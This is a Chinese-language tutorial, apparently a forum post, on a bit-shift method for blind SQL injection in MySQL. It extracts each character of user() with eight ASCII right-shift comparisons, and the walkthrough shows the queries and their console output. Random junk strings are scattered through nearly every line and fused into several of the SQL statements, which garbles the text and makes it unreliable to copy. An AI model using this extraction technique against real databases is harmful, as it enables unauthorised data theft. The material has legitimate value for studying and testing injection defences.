关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

( `) A  M- d* s$ {6 {, H

下面将以查询mysql数据库当中user()的第一位为例:

# ?5 h7 f- n! {9 W  }: n% n; d
3 ~. a9 M3 f( u8 M2 `
) \0 ~0 i' O- m; S( e/ {* c* zps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)


3 o4 d- @2 d: y/ I6 o- Y9 F7 A
首先执行如下sql语句:



; U0 K* G3 \+ q  x  e: w( ]. bmysql> select (ascii((substr(user(),1,1))) >> 7)=0;


3 H2 E7 J& _$ x: s  {; T; c" ]
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
+ t- G/ J. w% a& _* X
: t( }: t0 k* n1 V4 v9 R  F
1 s; |; Y0 |+ e* |
" `* @# _2 W1 s第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
: z, H4 I: \7 o* _

, C7 y7 y6 N9 g1 s3 o1 R
/ h: U) ^. Q# U3 h  [如果运算结果为1,说明第一位为0,不为1

$ D5 Y& `9 a& Z1 e4 b
  _; V- }) @' K' f5 N- C5 j
0 ]: }4 W3 c" D2 z* q+ S+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+
" a0 M7 `9 M8 R5 k/ L" s9 d$ X* H
5 z2 E5 t' a+ n7 {) O. @( D) D| 1 |

  C( G% Y9 L  f9 i# H4 V" x+————————————–+

; a. D1 o% e; p3 k0 _3 O# R1 row in set (0.00 sec)

0 f2 \# T2 }! a) C9 ^4 R这样我们就确定这个8bit的ascii的第一位为0
/ i! u% V7 s. J3 v$ h5 I
( b. p( J, E) M4 u& a9 C
0 I% v6 _) y5 I" \; m7 _
第二次我们来做6次右偏移来确定前两位



9 T4 S3 I" m# _* e6 P- A" y" e) g) J前两位可能是01或00,即依然可以与0做比较,

3 \, Z/ d0 l1 [8 @5 G& M. Mmysql> select (ascii((substr(user(),1,1))) >> 6)=0;

3 s7 d, Y! V0 g+ w( m. ~" j+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |

+————————————–+
; b5 {" t( m; F2 ^
2 v4 X  a% K1 Q# l5 X+ E| 0 |
, @5 U/ k* Z& k; E3 V3 i
: t& ~$ m1 N- [# k, d+————————————–+

1 row in set (0.00 sec)
0 L3 i' `" Y2 m7 l& A3 q' y0 T* ]

2 e+ V& O+ n# ^! W1 e" r7 \
结果为0,即第二位为1


, z- Y. T7 U; [8 v: @
5 x: i  s* X/ [开始猜测前三位为010或011

/ H. m% P6 s! {; j5 Y6 {
9 Y. h9 z: D5 g+ l
让我们看看010和011的ascii码是多少
9 D! X4 w4 A$ P. V/ O
/ e+ q$ S* d  ?! L: E- y4 L9 B$ y
; g! O, h/ D/ `1 x
分别查询select b’011′ select b’010′
/ x8 k. B, Y4 q3 O9 Y0 V* T
/ Q: ], i4 A; {0 [3 ^
, x' t. i4 w3 o7 k9 k) n* G0 N  D
" w! H7 G3 \2 P/ S( r3 l获得结果 010 = 2 011 = 3



3 A3 e7 D+ f9 m1 f) k执行如下sql:



; \  B7 `: D. ~$ L5 l- emysql> select (ascii((substr(user(),1,1))) >> 5)=2;
$ l5 s2 X' _% \8 S: r, i$ H
+————————————–+

4 ~5 r/ ]- ^0 A  Q7 K8 X% \* O| (ascii((substr(user(),1,1))) >> 5)=2 |
; H0 p! I) y' i
5 W+ o$ n# p6 f6 S6 ^+————————————–+

| 0 |
9 }# Z( k' }& r) y& U
+ a2 o, `9 M( I0 X+————————————–+
' O! u2 N5 h$ o  O! I/ \
即前三位不为010,而是011
# E/ }! \! i, U; u, @8 `


直到获得最后一位
4 [3 l3 S+ V: U


5 D4 S3 I) c2 |( y; W  E8 R最终结果为:01110010



5 u4 a! [- e6 b1 e; V! e8 G转换一下:

7 J3 M9 |# {" ^8 @0 t- T) @
7 E0 o9 V) q9 s8 E$ A  q) g
select b’01110010′
5 Q' P) @3 _  R0 g6 A: P/ \
2 ?0 q' w  L* \: i4 I" k, {
& G+ e2 n9 A' h9 q2 t2 H
% V  a8 R1 f/ c9 S$ j; j+ o查询结果
6 ]/ ]5 ]% z: z9 Z


+————-+
# }4 D. e% {/ M' N
3 ]0 K  l  z" r! M| b’01110010′ |

+————-+

0 F4 E' q( [! b2 D| r |

+————-+
! L, u) d6 h4 x6 N
( T2 }& |0 }/ t% C- C" |7 ~6 T1 row in set (0.00 sec)
" ]$ v* T2 h0 H, C


/ r7 Z2 `" ^# M$ a% `3 v这样我们就获得了user()的第一位.其它位依此类推

8 Y- A+ [9 D& n( _/ ~' q/ R. b